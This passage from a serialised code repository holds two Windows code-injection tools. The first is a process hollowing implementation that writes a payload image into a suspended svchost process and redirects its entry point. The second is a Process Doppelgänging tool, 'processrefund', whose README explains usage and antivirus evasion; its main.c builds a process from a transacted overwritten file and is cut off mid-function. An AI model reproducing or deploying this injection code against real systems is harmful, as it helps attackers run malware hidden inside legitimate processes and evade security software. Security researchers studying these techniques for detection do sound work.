continue;\n\n PVOID pSectionDestination = \n (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);\n\n printf(\"Writing %s section to 0x%p\\r\\n\", pSourceImage->Sections[x].Name, pSectionDestination);\n\n if (!WriteProcessMemory\n (\n pProcessInfo->hProcess, \n pSectionDestination, \n &pBuffer[pSourceImage->Sections[x].PointerToRawData],\n pSourceImage->Sections[x].SizeOfRawData,\n 0\n ))\n {\n printf (\"Error writing process memory\\r\\n\");\n return;\n }\n } \n\n if (dwDelta)\n for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)\n {\n char* pSectionName = \".reloc\"; \n\n if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName)))\n continue;\n\n printf(\"Rebasing image\\r\\n\");\n\n DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;\n DWORD dwOffset = 0;\n\n IMAGE_DATA_DIRECTORY relocData = \n pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];\n\n while (dwOffset < relocData.Size)\n {\n PBASE_RELOCATION_BLOCK pBlockheader = \n (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];\n\n dwOffset += sizeof(BASE_RELOCATION_BLOCK);\n\n DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);\n\n PBASE_RELOCATION_ENTRY pBlocks = \n (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];\n\n for (DWORD y = 0; y < dwEntryCount; y++)\n {\n dwOffset += sizeof(BASE_RELOCATION_ENTRY);\n\n if (pBlocks[y].Type == 0)\n continue;\n\n DWORD dwFieldAddress = \n pBlockheader->PageAddress + pBlocks[y].Offset;\n\n DWORD dwBuffer = 0;\n ReadProcessMemory\n (\n pProcessInfo->hProcess, \n (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),\n &dwBuffer,\n sizeof(DWORD),\n 0\n );\n\n //printf(\"Relocating 0x%p -> 0x%p\\r\\n\", dwBuffer, dwBuffer - dwDelta);\n\n dwBuffer += dwDelta;\n\n BOOL bSuccess = WriteProcessMemory\n (\n pProcessInfo->hProcess,\n (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),\n &dwBuffer,\n sizeof(DWORD),\n 0\n );\n\n if (!bSuccess)\n {\n printf(\"Error writing memory\\r\\n\");\n continue;\n }\n }\n }\n\n break;\n }\n\n\n DWORD dwBreakpoint = 0xCC;\n\n DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress +\n pSourceHeaders->OptionalHeader.AddressOfEntryPoint;\n\n#ifdef WRITE_BP\n printf(\"Writing breakpoint\\r\\n\");\n\n if (!WriteProcessMemory\n (\n pProcessInfo->hProcess, \n (PVOID)dwEntrypoint, \n &dwBreakpoint, \n 4, \n 0\n ))\n {\n printf(\"Error writing breakpoint\\r\\n\");\n return;\n }\n#endif\n\n LPCONTEXT pContext = new CONTEXT();\n pContext->ContextFlags = CONTEXT_INTEGER;\n\n printf(\"Getting thread context\\r\\n\");\n\n if (!GetThreadContext(pProcessInfo->hThread, pContext))\n {\n printf(\"Error getting context\\r\\n\");\n return;\n }\n\n pContext->Eax = dwEntrypoint; \n\n printf(\"Setting thread context\\r\\n\");\n\n if (!SetThreadContext(pProcessInfo->hThread, pContext))\n {\n printf(\"Error setting context\\r\\n\");\n return;\n }\n\n printf(\"Resuming thread\\r\\n\");\n\n if (!ResumeThread(pProcessInfo->hThread))\n {\n printf(\"Error resuming thread\\r\\n\");\n return;\n }\n\n printf(\"Process hollowing complete\\r\\n\");\n}\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n char* pPath = new char[MAX_PATH];\n GetModuleFileNameA(0, pPath, MAX_PATH);\n pPath[strrchr(pPath, '\\\\') - pPath + 1] = 0;\n strcat(pPath, \"helloworld.exe\");\n \n CreateHollowedProcess\n (\n \"svchost\", \n pPath\n );\n\n system(\"pause\");\n\n return 0;\n}" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcproj", "content": "\n\n\t\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\n" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcxproj", "content": "\n\n \n \n Debug\n Win32\n \n \n Release\n Win32\n \n \n \n {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}\n ProcessHollowing\n Win32Proj\n \n \n \n Application\n Unicode\n true\n \n \n Application\n Unicode\n \n \n \n \n \n \n \n \n \n \n \n \n <_ProjectFileVersion>10.0.30319.1\n $(SolutionDir)$(Configuration)\\\n $(Configuration)\\\n true\n $(SolutionDir)$(Configuration)\\\n $(Configuration)\\\n false\n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n \n \n \n Disabled\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\n true\n EnableFastChecks\n MultiThreadedDebugDLL\n Use\n Level3\n EditAndContinue\n \n \n true\n Console\n MachineX86\n \n \n \n \n MaxSpeed\n true\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\n MultiThreadedDLL\n true\n Use\n Level3\n ProgramDatabase\n \n \n true\n Console\n true\n true\n MachineX86\n \n \n \n \n \n \n Create\n Create\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcxproj.filters", "content": "\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hpp;hxx;hm;inl;inc;xsd\n \n \n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav\n \n \n \n \n Source Files\n \n \n Source Files\n \n \n Source Files\n \n \n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n \n \n \n" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/internals.h", "content": "struct PROCESS_BASIC_INFORMATION {\n PVOID Reserved1;\n DWORD PebBaseAddress;\n PVOID Reserved2[2];\n DWORD UniqueProcessId;\n PVOID Reserved3;\n};\n\ntypedef NTSTATUS (WINAPI* _NtUnmapViewOfSection)(\n HANDLE ProcessHandle,\n PVOID BaseAddress \n );\n\ntypedef NTSTATUS (WINAPI* _NtQueryInformationProcess)(\n HANDLE ProcessHandle,\n DWORD ProcessInformationClass,\n PVOID ProcessInformation,\n DWORD ProcessInformationLength,\n PDWORD ReturnLength\n );\n\ntypedef NTSTATUS (WINAPI* _NtQuerySystemInformation)(\n DWORD SystemInformationClass,\n PVOID SystemInformation,\n ULONG SystemInformationLength,\n PULONG ReturnLength\n );" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/stdafx.cpp", "content": "// stdafx.cpp : source file that includes just the standard includes\n// ProcessHollowing.pch will be the pre-compiled header\n// stdafx.obj will contain the pre-compiled type information\n\n#include \"stdafx.h\"\n\n// TODO: reference any additional headers you need in STDAFX.H\n// and not in this file\n" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/stdafx.h", "content": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequently, but\n// are changed infrequently\n//\n\n#pragma once\n\n#include \"targetver.h\"\n\n#include \n#include \n\n\n\n// TODO: reference additional headers your program requires here\n" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing/targetver.h", "content": "#pragma once\n\n// The following macros define the minimum required platform. The minimum required platform\n// is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run \n// your application. The macros work by enabling all features available on platform versions up to and \n// including the version specified.\n\n// Modify the following defines if you have to target a platform prior to the ones specified below.\n// Refer to MSDN for the latest info on corresponding values for different platforms.\n#ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista.\n#define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows.\n#endif\n\n" }, { "path": "Inject/Process-Hollowing/sourcecode/ProcessHollowing.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual Studio 2010\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"ProcessHollowing\", \"ProcessHollowing\\ProcessHollowing.vcxproj\", \"{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"HelloWorld\", \"HelloWorld\\HelloWorld.vcxproj\", \"{CBDD0923-D056-4517-9820-EDA9C05F5639}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tRelease|Win32 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Release|Win32.Build.0 = Release|Win32\n\t\t{CBDD0923-D056-4517-9820-EDA9C05F5639}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{CBDD0923-D056-4517-9820-EDA9C05F5639}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{CBDD0923-D056-4517-9820-EDA9C05F5639}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{CBDD0923-D056-4517-9820-EDA9C05F5639}.Release|Win32.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "Inject/ProcessDoppelgänging/.gitignore", "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n\n# User-specific files\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\nbuild/\nbld/\n[Bb]in/\n[Oo]bj/\n\n# Visual Studio 2015 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUNIT\n*.VisualState.xml\nTestResult.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# DNX\nproject.lock.json\nartifacts/\n\n*_i.c\n*_p.c\n*_i.h\n*.ilk\n*.meta\n*.obj\n*.pch\n*.pdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opensdf\n*.sdf\n*.cachefile\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# JustCode is a .NET coding add-in\n.JustCode\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# TODO: Comment the next line if you want to checkin your web deploy settings \n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# NuGet Packages\n*.nupkg\n# The packages folder can be ignored because of Package Restore\n**/packages/*\n# except build/, which is used as an MSBuild target.\n!**/packages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/packages/repositories.config\n\n# Windows Azure Build Output\ncsx/\n*.build.csdef\n\n# Windows Store app package directory\nAppPackages/\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!*.[Cc]ache/\n\n# Others\nClientBin/\n[Ss]tyle[Cc]op.*\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.pfx\n*.publishsettings\nnode_modules/\norleans.codegen.cs\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\n\n# SQL Server files\n*.mdf\n*.ldf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\nprocessrefund\\.VC\\.VC\\.opendb\n" }, { "path": "Inject/ProcessDoppelgänging/LICENSE.md", "content": "\nCopyright (c) 2017, \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n* Neither the name of [project] nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n" }, { "path": "Inject/ProcessDoppelgänging/MalExe/MalExe.vcxproj", "content": "\n\n \n \n Debug\n Win32\n \n \n Release\n Win32\n \n \n Debug\n x64\n \n \n Release\n x64\n \n \n \n {81FCF866-89C7-466B-A52B-3A41A45BC9E0}\n MalExe\n 8.1\n \n \n \n Application\n true\n v140\n MultiByte\n \n \n Application\n false\n v140\n true\n MultiByte\n \n \n Application\n true\n v140\n MultiByte\n \n \n Application\n false\n v140\n true\n MultiByte\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Level3\n Disabled\n true\n MultiThreadedDebug\n false\n \n \n \n \n Level3\n Disabled\n true\n MultiThreadedDebug\n \n \n \n \n Level3\n MaxSpeed\n true\n true\n true\n \n \n true\n true\n \n \n \n \n Level3\n MaxSpeed\n true\n true\n true\n \n \n true\n true\n \n \n \n \n \n \n \n \n" }, { "path": "Inject/ProcessDoppelgänging/MalExe/MalExe.vcxproj.filters", "content": "\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hh;hpp;hxx;hm;inl;inc;xsd\n \n \n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\n \n \n \n \n Source Files\n \n \n" }, { "path": "Inject/ProcessDoppelgänging/MalExe/main.c", "content": "#include \n#include \n\nint main(void)\n{\n\t//__asm int 3;\n\tMessageBox(0, \"Message body\", \"Message title\", MB_OK);\n}" }, { "path": "Inject/ProcessDoppelgänging/README.md", "content": "# Process Refund\n\nAn attempt to implement Process Doppelgänging\n## Getting Started\n\nJust clone the repo and open the .sln with Visual Studio 2015.\n\n### Prerequisites\n\nCurrently this works only in x64.\nTo use you need a dummy exe like svchost.exe and your malicous exe.\nread below - you need to be able to write over the file.\n\nWARNING DONT USE ON WIN10 YOU WILL GET A BSOD.\n\nexmaple:\n\n\tprocessrefund.exe svchost.exe MalExe.exe\n ![alt text](https://raw.githubusercontent.com/spajed/processrefund/master/example.png)\n ![alt text](https://raw.githubusercontent.com/spajed/processrefund/master/modules.png)\n ![alt text](https://raw.githubusercontent.com/spajed/processrefund/master/memory.png)\n\n### Problems with Process Doppelgänging\n* You can not replace any file. If you try to replace C:\\windows\\system32\\svchost.exe you will get \"Access Denied\".\n* This techinque will not bypass all AntiViruses because of the use of NtCreateThreadEx, which is equal to CreateRemoteThread.\n An AntiVirus may monitor the creation of remote thread (via PsSetCreateThreadNotifyRoutine) thus detecting our Doppelgänging. Also an AntiVirus may compare the memory with the image of the created process and will be aware of our malicous process. This techinque may be good to avoid file signatures and loading executables without wiritng them to disk(\"filesless\") but it will not avoid everything.\n## Acknowledgments\n* https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf\n" }, { "path": "Inject/ProcessDoppelgänging/processrefund/main.c", "content": "#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \"ntdefs.h\"\n\n// To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS\n#pragma comment(lib, \"psapi.lib\")\n\n\nvoid\nDisplayErrorText(\n\tDWORD dwLastError\n)\n{\n\tHMODULE hModule = NULL; // default to system source\n\tLPSTR MessageBuffer;\n\tDWORD dwBufferLength;\n\n\tDWORD dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER |\n\t\tFORMAT_MESSAGE_IGNORE_INSERTS |\n\t\tFORMAT_MESSAGE_FROM_SYSTEM;\n\n\t//\n\t// If dwLastError is in the network range, \n\t// load the message source.\n\t//\n\n\tif (dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) {\n\t\thModule = LoadLibraryEx(\n\t\t\tTEXT(\"netmsg.dll\"),\n\t\t\tNULL,\n\t\t\tLOAD_LIBRARY_AS_DATAFILE\n\t\t);\n\n\t\tif (hModule != NULL)\n\t\t\tdwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE;\n\t}\n\n\t//\n\t// Call FormatMessage() to allow for message \n\t// text to be acquired from the system \n\t// or from the supplied module handle.\n\t//\n\n\tif (dwBufferLength = FormatMessageA(\n\t\tdwFormatFlags,\n\t\thModule, // module to get message from (NULL == system)\n\t\tdwLastError,\n\t\tMAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language\n\t\t(LPSTR)&MessageBuffer,\n\t\t0,\n\t\tNULL\n\t))\n\t{\n\t\tDWORD dwBytesWritten;\n\n\t\t//\n\t\t// Output message string on stderr.\n\t\t//\n\t\tWriteFile(\n\t\t\tGetStdHandle(STD_ERROR_HANDLE),\n\t\t\tMessageBuffer,\n\t\t\tdwBufferLength,\n\t\t\t&dwBytesWritten,\n\t\t\tNULL\n\t\t);\n\n\t\t//\n\t\t// Free the buffer allocated by the system.\n\t\t//\n\t\tLocalFree(MessageBuffer);\n\t}\n\n\t//\n\t// If we loaded a message source, unload it.\n\t//\n\tif (hModule != NULL)\n\t\tFreeLibrary(hModule);\n}\n\nLPVOID GetBaseAddressByName(HANDLE hProcess, char *module)\n{\n\tMEMORY_BASIC_INFORMATION mbi;\n\tSYSTEM_INFO si;\n\tLPVOID lpMem;\n\tchar moduleName[MAX_PATH] = { 0 };\n\t/* Get maximum address range from system info */\n\tGetSystemInfo(&si);\n\t/* walk process addresses */\n\tlpMem = 0;\n\twhile (lpMem < si.lpMaximumApplicationAddress) {\n\t\tVirtualQueryEx(hProcess, lpMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));\n\t\tGetMappedFileName(hProcess, mbi.BaseAddress, moduleName, MAX_PATH);\n\n\t\tif (strstr(moduleName,module))//mbi.Type & MEM_IMAGE)\n\t\t\treturn mbi.BaseAddress;\n\t\t/* increment lpMem to next region of memory */\n\t\tlpMem = (LPVOID)((ULONGLONG)mbi.BaseAddress +(ULONGLONG)mbi.RegionSize);\n\t\t\t\n\t}\n\treturn NULL;\n}\n\nint main(int argc,char *argv[] )\n{\n\n\tLARGE_INTEGER liFileSize;\n\tDWORD dwFileSize;\n\tHANDLE hSection;\n\tNTSTATUS ret;\n\t\n\tUNICODE_STRING string;\n\tif (argc < 3) {\n\t\tprintf(\"%s \",argv[0]);\n\t\treturn 0;\n\t}\n\tHMODULE hNtdll = GetModuleHandle(\"ntdll.dll\");\n\tif (NULL==hNtdll)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] Got ntdll.dll at 0x%llx\\n\", hNtdll);\n\tNtCreateSection createSection = (NtCreateSection)GetProcAddress(hNtdll, \"NtCreateSection\");\n\t\n\tif (NULL == createSection)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] Got NtCreateSection at 0x%08p\\n\", createSection);\n\tWCHAR temp[MAX_PATH] = { 0 };\n\tchar fileFullPath[MAX_PATH] = { 0 };\n\n\tGetFullPathName(argv[1], MAX_PATH, fileFullPath, NULL);\n\tMultiByteToWideChar(CP_UTF8, 0, fileFullPath, strlen(fileFullPath), temp, MAX_PATH);\n\tHANDLE hTransaction = CreateTransaction(NULL,0,0,0,0,0, temp);\n\tif (INVALID_HANDLE_VALUE == hTransaction)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] Created a transaction, handle 0x%x\\n\", hTransaction);\n\n\tHANDLE hTransactedFile = CreateFileTransacted(fileFullPath,\n\t\tGENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);\n\tif (INVALID_HANDLE_VALUE == hTransactedFile)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] CreateFileTransacted on %s, handle 0x%x\\n\", fileFullPath, hTransactedFile);\n\n\tHANDLE hExe = CreateFile(argv[2],\n\t\t GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n\tif (INVALID_HANDLE_VALUE == hExe)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] opened malexe.exe, handle 0x%x\\n\", hExe);\n\n\tBOOL err = GetFileSizeEx(hExe, &liFileSize);\n\tif (FALSE == err)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tdwFileSize = liFileSize.LowPart;\n\tprintf(\"[+] malexe size is 0x%x\\n\", dwFileSize);\n\n\tBYTE *buffer = malloc(dwFileSize);\n\tif (NULL == buffer)\n\t{\n\t\tprintf(\"Malloc failed\\n\");\n\t\treturn -1;\n\t}\n\tprintf(\"[+] allocated 0x%x bytes\\n\", dwFileSize);\n\tDWORD read = 0;\n\tif (FALSE == ReadFile(hExe, buffer, dwFileSize, &read, NULL))\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] read malexe.exe to buffer\\n\");\n\n\tDWORD wrote = 0;\n\tif (FALSE == WriteFile(hTransactedFile, buffer, dwFileSize, &wrote, NULL))\n\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] over wrote %s in transcation\\n\", fileFullPath);\n\n\tret = createSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile);\n\tif(FALSE == NT_SUCCESS(ret))\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] created a section with our new malicious %s\\n\", fileFullPath);\n\n\n\n\tNtCreateProcessEx createProcessEx = (NtCreateProcessEx)GetProcAddress(hNtdll, \"NtCreateProcessEx\");\n\tif (NULL == createProcessEx)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] Got NtCreateProcessEx 0x%08p\\n\", createProcessEx);\n\n\tHANDLE hProcess=0;\n\tmy_RtlInitUnicodeString initUnicodeString = (my_RtlInitUnicodeString)GetProcAddress(hNtdll, \"RtlInitUnicodeString\");\n\n\tinitUnicodeString(&string, temp);\n\n\tret = createProcessEx(&hProcess, GENERIC_ALL,NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE);\n\t\n\tprintf(\"[+] Created our process, handle 0x%x\\n\", hProcess);\n\tif (FALSE == NT_SUCCESS(ret))\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\n\tPIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buffer;\n\n\tPIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(buffer + dos_header->e_lfanew);\n\n\tULONGLONG oep = ntHeader->OptionalHeader.AddressOfEntryPoint;\n\n\toep+=(ULONGLONG)GetBaseAddressByName(hProcess,argv[1]);\n\n\n\tprintf(\"[+] our new process oep is 0x%llx\\n\", oep);\n\tNtCreateThreadEx createThreadEx = (NtCreateThreadEx)GetProcAddress(hNtdll, \"NtCreateThreadEx\");\n\tif (NULL == createThreadEx)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] Got NtCreateThreadEx 0x%08p\\n\", createThreadEx);\n\n\n\tmy_PRTL_USER_PROCESS_PARAMETERS ProcessParams = 0;\n\tRtlCreateProcessParametersEx createProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(hNtdll, \"RtlCreateProcessParametersEx\");\n\tif (NULL == createProcessParametersEx)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] Got RtlCreateProcessParametersEx 0x%08p\\n\", createProcessParametersEx);\n\n\n\n\t\n\tret = createProcessParametersEx(&ProcessParams, &string,NULL,NULL,&string,NULL,NULL,NULL,NULL,NULL, RTL_USER_PROC_PARAMS_NORMALIZED);\n\tif (FALSE == NT_SUCCESS(ret))\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] creating Process Parameters at 0x%p\\n\", ProcessParams);\n\n\tLPVOID RemoteProcessParams;\n\tRemoteProcessParams = VirtualAllocEx(hProcess, ProcessParams, (ULONGLONG)ProcessParams&0xffff + ProcessParams->EnvironmentSize + ProcessParams->MaximumLength, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);\n\tif(NULL == RemoteProcessParams)\n\t{\n\t\tDisplayErrorText(GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"[+] creating memory at process for our paramters 0x%08x\\n\", 